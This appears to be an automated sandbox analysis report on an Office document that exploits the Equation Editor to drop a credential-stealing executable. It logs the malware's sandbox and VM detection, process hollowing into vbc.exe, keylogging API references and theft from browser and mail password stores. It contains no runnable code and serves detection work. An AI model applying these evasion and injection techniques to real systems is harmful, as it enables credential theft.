              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Yara detected AntiVM3
              Source: Yara matchFile source: 4.2.name.exe.251bd64.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1464, type: MEMORYSTR
              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
              Source: name.exe, 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
              Source: name.exe, 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2688Thread sleep time: -300000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 2684Thread sleep time: -41446s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 572Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 840Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 2124Thread sleep time: -180000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 2632Thread sleep time: -120000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 1352Thread sleep time: -140000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 2724Thread sleep time: -85600s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exe TID: 3004Thread sleep time: -180000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00408836 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,7_2_00408836
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 180000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeWindow / User API: threadDelayed 428Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 41446Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 120000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 140000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeThread delayed: delay time: 180000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jump to behavior
              Source: name.exe, 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
              Source: name.exe, 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
              Source: name.exe, 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
              Source: name.exe, 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
              Source: C:\Users\user\AppData\Roaming\name.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004161B0 memset,GetSystemInfo,7_2_004161B0
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00406EC3 FindFirstFileA,FindNextFileA,strlen,strlen,6_2_00406EC3
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00408441 FindFirstFileW,FindNextFileW,wcslen,wcslen,7_2_00408441
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00407E0E FindFirstFileW,FindNextFileW,FindClose,7_2_00407E0E
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00408836 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,7_2_00408836
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00404837 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,#17,MessageBoxA,6_2_00404837
              Source: C:\Users\user\AppData\Roaming\name.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Allocates memory in foreign processes
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 protect: page execute and read and writeJump to behavior
              Injects a PE file into a foreign processes
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Users\user\AppData\Roaming\name.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 value starts with: 4D5AJump to behavior
              Sample uses process hollowing technique
              Source: C:\Users\user\AppData\Roaming\name.exeSection unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeSection unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000Jump to behavior
              Writes to foreign memory regions
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 401000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 412000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 416000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 418000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 401000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 443000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 44F000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 452000Jump to behavior
              .NET source code references suspicious native API functions
              Source: 5.0.name.exe.400000.22.unpack, Form1.csReference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
              Source: 5.0.name.exe.400000.22.unpack, RunPE.csReference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')
              Source: 5.0.name.exe.400000.5.unpack, Form1.csReference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
              Source: 5.0.name.exe.400000.5.unpack, RunPE.csReference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')
              Source: 5.2.name.exe.400000.0.unpack, Form1.csReference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
              Source: 5.2.name.exe.400000.0.unpack, RunPE.csReference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')
              Source: 5.0.name.exe.400000.7.unpack, Form1.csReference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
              Source: 5.0.name.exe.400000.7.unpack, RunPE.csReference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')
              Source: 5.0.name.exe.400000.17.unpack, Form1.csReference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
              Source: 5.0.name.exe.400000.17.unpack, RunPE.csReference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')
              Source: 5.0.name.exe.400000.12.unpack, Form1.csReference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
              Source: 5.0.name.exe.400000.12.unpack, RunPE.csReference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Roaming\name.exe "C:\Users\user\AppData\Roaming\name.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Users\user\AppData\Roaming\name.exe C:\Users\user\AppData\Roaming\name.exeJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holdermail.txt"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holderwb.txt"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeQueries volume information: C:\Users\user\AppData\Roaming\name.exe VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeQueries volume information: C:\Users\user\AppData\Roaming\name.exe VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_0041604B GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy,7_2_0041604B
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_0040724C memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,6_2_0040724C
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00406278 GetVersionExA,6_2_00406278
              Source: C:\Users\user\AppData\Roaming\name.exeWMI Queries: IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct
              Source: C:\Users\user\AppData\Roaming\name.exeWMI Queries: IWbemServices::ExecQuery - SELECT * FROM FirewallProduct

              Stealing of Sensitive Information

              barindex
              Yara detected MailPassView
              Source: Yara matchFile source: 5.2.name.exe.45fa72.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.548ecaa.7.unpack, type: UNPACKEDPE
